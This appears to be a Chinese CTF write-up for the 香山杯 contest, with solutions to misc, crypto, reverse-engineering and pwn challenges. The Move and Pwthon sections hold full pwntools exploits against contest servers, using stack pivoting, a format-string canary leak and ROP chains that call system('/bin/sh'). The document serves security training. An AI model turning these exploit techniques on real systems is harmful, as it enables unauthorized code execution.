香山杯 writeup

签到:

image

 

Pintu:

from zipfile import ZipFile from io import BytesIO from PIL import Image from libnum import n2s from base64 import b32decode, b64decode

bin_data = ” dec_data = ” with ZipFile(‘./pintu.zip’) as zipfile:

for i in range(1, 4704):

bio = BytesIO(zipfile.read(f’pintu/{i}.png’)) image = Image.open(bio) pixel = image.getpixel((0, 0)) dec_data += chr(int(str(image.height), 8)) if pixel == (255, 255, 255):       # 白 bin_data += ‘1’ else:

bin_data += ‘0’

bin_data = bin_data.zfill((len(bin_data)+1)*8//8) tips2 = n2s(int(bin_data, 2)).decode() print(tips2)

new_b64 = ‘sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W’ old_b64 = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’ data = ” for dec in dec_data.split(‘ ‘): data += chr(int(dec, 10))

data = b32decode(data).decode() trans = ”.maketrans(new_b64, old_b64) b64png = b64decode(data.translate(trans)).decode().split(‘ ‘)[0] png_data = b64decode(b64png) print(png_data) open(‘./piet.png’, ‘wb’).write(png_data)

”’

py ./image_to_source.py ./piet.png > ./source.pyet py ./pyet.py ./source.pyet flag{4b6c1737-27e5-41c4-95e3-f70ad196063e}

”’

Lift:

分解 n 获得 p,q

from Crypto.Util.number import *

def small_roots(f, bound,r,s,N,m):

t1 = int((r*(r+s-2))/((r-1)*(r+s))*m)

t2 = m

bounds = [bound ,1] f = f.change_ring(ZZ) G = Sequence([], f.parent()) x = f.variables()[0] for k in range(t2+1):

for i in range(t2+1-k):

d=max([0,ceil((r-1)*(t1-k)/r),ceil((s-1)*(t2-k)/s)])

base=N ^ d * f ^ k * x ^ i

G.append(base)

B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors):

B.rescale_col(i, factor)

B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors):

B.rescale_col(i, 1 / factor)

H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B * monomials):

for i in h.coefficients():

if gcd(i,N)!=1 and gcd(i,N)!=N:

return gcd(h.coefficients()[0],N)

return 0

N                                                                                                                                                                        =

108960799213330048807537253155955524262938083957673388027650083719597357215238

547761557943499634403020900601643719960988288543702833581456488410418793239589 934165142850195998163833962875355916819854378922306890883033496525502067124670

576471251882548376530637034077

e                                                                                                                                                                         =

335991775589416325817445176852161091049140272766072067389884823909555381612613

116247103584330646419791299725301189980656062493886991889318275161452061069364 369008798836377534376165119877686091331079812783203694152462028480488413698321

5497742441302140070096928109039 r,s=5,1

a= -int(inverse(e,N)) %N

PR.<x,y> = PolynomialRing(Zmod(N)) f=a-x

m=5 edge=256 res=small_roots(f, 2^edge,r,s,N,m) print(res)

通过 n_root 的有限域 crt 获得 flag

from tqdm import * from Crypto.Util.number import * v=7220153762126068267598854965034997357053936637049725810769493761969899905278 711603908042720995866294913189228479914848401842129824112437281642512378460250 870523224787979961120328311412380259755385384222735122862618007920938877210110

5198454904371772564490263034162

p=69367143733862710652791985332025152581988181 q=67842402383801764742069883032864699996366777 c=[]

n = [p^5,q] for p in n: K=Zmod(p)

c0=int(v)%int(p) d=inverse(e//251,euler_phi(p)) m=int(pow(c0,d,p)) r=K(m).nth_root(251,all=True) c.append(r) # print(‘c=’,c) for i in tqdm(c[0]):

for j in (c[1]):

c1 = [int(i), int(j)] m=crt(c1,n) m=long_to_bytes(m) if b’flag’ in m:

print(m)

print(‘over’)

#b’flag{4b68c7eece6be865f6da2a4323edd491}\x9d\xcf\xdc\xcb\xb8\xbdd\xec\xadh\xa6C\x99\x a0)7\xfb\x02\xba\x90q8\x10+\x7f}’

Move:

  1. 漏洞

在 vuln 存在 8 字节溢出,不足以构造 payload。并且开始往 bss 写入一段数据,那么就明显使用栈迁移了

  1. 攻击思路
    1. 先栈迁移到 bss,泄露 libc 并且返回 read 处
    2. 再构造迁移构造 ROP 链攻击
  2. exp

from pwn import *

context.terminal = [“tmux”, “splitw”, “-h”]

# context.log_level=’debug’

# io = process(“./pwn”)

# libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”) io = remote(“101.201.35.76”, 30367) libc = ELF(“./libc.so.6”) elf = ELF(“./pwn”)

bss = 0x4050A0 pop_rdi_ret = 0x401353 pop_rsi_r15_ret = 0x401351 leave_ret = 0x4012E0 puts_got = elf.got[“puts”] puts_plt = elf.plt[“puts”] pop_rbp_ret = 0x40119D my_read = 0x401230 ret = 0x40124C

io.recvuntil(b”lets travel again!”)

# payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(my_read) payload = p64(bss) + p64(my_read) io.send(payload) io.recvuntil(b”Input your setp number”) io.send(b”\x78\x56\x34\x12″) io.recvuntil(b”TaiCooLa”) payload = b”a” * 0x30 + p64(bss) + p64(leave_ret) io.send(payload) # gdb.attach(io) payload = ( p64(pop_rdi_ret) + p64(puts_got)

+ p64(puts_plt)

+ p64(pop_rbp_ret)

+ p64(bss)

+ p64(my_read)

+ p64(bss – 0x30 – 8)

+ p64(leave_ret)

)

io.send(payload) libbase = u64(io.recvuntil(b”\x7f”)[-6:].ljust(8, b”\x00″)) – libc.sym[“puts”] log.success(“libbase:” + hex(libbase)) payload = ( p64(pop_rdi_ret)

+ p64(libbase + next(libc.search(b”/bin/sh”)))

+ p64(libbase + libc.sym[“system”])

+ p64(pop_rbp_ret)

+ p64(bss – 0x30)

+ p64(pop_rbp_ret)

+ p64(bss – 0x30 – 8)

+ p64(leave_ret)

)

io.sendline(payload) io.interactive()

Pwthon:

from pwn import *

context.terminal = [‘cmd.exe’, ‘/c’, ‘start’,

‘wt.exe’, ‘wsl.exe’, ‘bash’, ‘-c’]

binary = context.binary = ELF(‘./app.cpython-37m-x86_64-linux-gnu.so’)

REMOTE = args.REMOTE or 1

 

if REMOTE:

p = remote(‘39.106.48.123’, 25036) else:

p = process(‘./’)

sd, sa, sl, sla = p.send, p.sendafter, p.sendline, p.sendlineafter rv, rl, ru, ia = p.recv, p.recvline, p.recvuntil, p.interactive

sla(b’> ‘, b’0’) ru(b’gift ‘) gift = int(rl(), 16) so_base = gift-0x68B0

print(‘gift:’, hex(gift)) print(‘so_base:’, hex(so_base))

sd(b’%p|’*50+b'[END]’) res = ru(b'[END]’, True).decode() print(res) for i, data in enumerate(res.split(‘|’)):

if data.endswith(’00’):

print(i, data)

canary = int(res.split(‘|’)[31], 16) binary.address = so_base rop = ROP(binary, base=0) rop.call(so_base+0x3710, (so_base+0x16078,)) payload = rop.chain() sd(p64(canary)*(0x118//8)+payload+p64(so_base+0x99F0))

rl()

puts_addr = u64(ru(b’\n’, True).ljust(8, b’\x00′))

# print(hexdump(rl())) libc_base = puts_addr-0x80970 print(hex(puts_addr)) str_bin_sh = libc_base+0x1b3d88 system_addr = libc_base+0x4f420

# ia()

ru(b’gift ‘) sd(b’TEST’)

rop = ROP(binary, base=0) rop.call(system_addr, (str_bin_sh,)) payload = rop.chain()

sd(p64(canary)*(0x118//8)+p64(so_base+0x68D3)+payload)

# ia()

# open(‘tmp.txt’, ‘wb’).write(p.clean(5))

# print(hexdump(p.clean(1))) ia()

Url 从哪儿来:程序会对数据进行自解密,然后生成一个 exe 文件,在该处下断点

image

 

找到文件生成的路径

image

 

在文件夹下找到对应文件

image

 

用 010editor 观察文件头,可以发现是个 exe 文件

image

将文件名改为 ou.exe,用 IDA 反编译看一下在此处下断点,然后动调到这里

image

跟踪 v13 的值,即可发现 flag

image

 

flag{6469616e-6369-626f-7169-746170617761}

Hello_py:

image

先执行一遍程序,看一下包名,然后 adb shell 搜一下相关路径

find / * | grep ‘chaquo’

image

可以发现有个 pyc 文件,pull 出来

image

uncompyle6 hello.cpython-38.pyc>hello.py

image

一眼 xxtea

#include <stdio.h>

#include <stdint.h>

#define DELTA 0x9E3779B9

#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])

{

uint32_t y, z, sum; unsigned p, rounds, e;

         if (n > 1)                          /* Coding Part */

{

rounds = 52/n+6; sum = 0;

z = v[n-1]; do

{

sum += DELTA; e = (sum >> 2) & 3;

for (p=0; p<n-1; p++)

{

y = v[p+1]; z = v[p] += MX;

}

y = v[0]; z = v[n-1] += MX;

}

while (–rounds); printf(“\n%x\n”,sum);

}

         else if (n < -1)             /* Decoding Part */

 

{

n = -n; rounds = 52/n+6; sum = 0xcc623af3; y = v[0]; do

{

e = (sum >> 2) & 3;

for (p=n-1; p>0; p–)

{

z = v[p-1]; y = v[p] -= MX;

}

z = v[n-1]; y = v[0] -= MX; sum -= DELTA;

}

while (–rounds); printf(“\n%x\n”,sum);

}

}

int main()

{

         uint32_t    v[11]=    {689085350,    626885696,    1894439255,    1204672445,    1869189675,

475967424, 1932042439, 1280104741, 2808893494}; uint32_t const k[4]={12345678, 12398712, 91283904, 12378192}; int i,n= 9;

         printf(”                     解         密         前         原         始         数

据:%x %x %x %x %x %x %x %x %x %x %x\n”,v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7],v[8]); btea(v, -n, k);

         printf(”                          解           密           后           的           数

据:%x %x %x %x %x %x %x %x %x %x %x\n”,v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7],v[8]);

for(i=0;i<9;i++)

{ printf(“%c”,v[i]&0xff); printf(“%c”,(v[i]&0xff00)%0xff); printf(“%c”,(v[i]&0xff0000)%0xffff); printf(“%c”,(v[i]&0xff000000)%0xffffff);//c1f8ace6-4b46-4931-b25b-a1010a89c592

}

btea(v, n, k);

         printf(“\n                          加           密           后           的           数

据:%x %x %x %x %x %x %x %x %x %x %x\n”,v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7],v[8]);

system(“pause”); return 0;

}

flag{c1f8ace6-4b46-4931-b25b-a1010a89c592}

Nesting:

from pwn import *

context.log_level = ‘ERROR’

def test(flag):

r = process([os.path.expanduser(‘~/sde-external/sde64’),

‘-icount’,

‘–‘,

‘./nesting’])

r.sendline(flag)

r.recvuntil(b’ICOUNT: ‘) icount = int(r.recvline()) r.close()

return icount

t = ‘0123456789abcdef-‘

flag = b’flag{‘ flag_len = 50 prev_icount = test((flag).ljust(flag_len, b’*’)) print(prev_icount)

for i in range(flag_len):

not_found = True for ch in t:

print(‘\r testing:’, ch, end=”)

icount = test((flag+ch.encode()).ljust(flag_len, b’*’)) if icount – prev_icount > 50000: flag += ch.encode() prev_icount = icount print(‘ |’, prev_icount, flag) not_found = False break

if not_found:

print(‘\n\nfinish?’) exit(0)

 

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容